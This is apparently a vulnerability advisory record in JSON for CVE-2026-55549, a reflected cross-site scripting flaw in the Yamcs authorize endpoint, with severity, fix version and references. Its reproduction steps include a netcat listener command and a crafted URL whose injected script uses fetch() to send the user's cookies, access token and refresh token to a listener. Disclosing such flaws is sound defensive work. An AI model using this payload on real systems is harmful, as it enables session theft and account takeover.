{"id":"CVE-2026-55549","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55549","summary":"Yamcs has Reflected XSS in the URL of the Authorize Endpoint","details":"### Attack type: \nUnauthenticated remote  \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n<img width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" />\n\nYou then use JavaScript to obtain the user's cookies and display them in the alert:\n\n<img width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" />\n\nFinally, use the `fetch` function to send the user's cookies to a remote server which we controlled:\n\n<img width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" />\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user's access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.","published":"2026-08-28T17:17:50Z","modified":"2026-08-28T17:30:07.723484452Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Maven","name":"org.yamcs:yamcs-core","fixedVersion":"5.9.4"}],"fix":{"url":"https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3","label":"yamcs/yamcs@4d47d5c"},"references":[{"type":"WEB","url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3"},{"type":"PACKAGE","url":"https://github.com/yamcs/yamcs"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-28T17:30:07.723484452Z"}}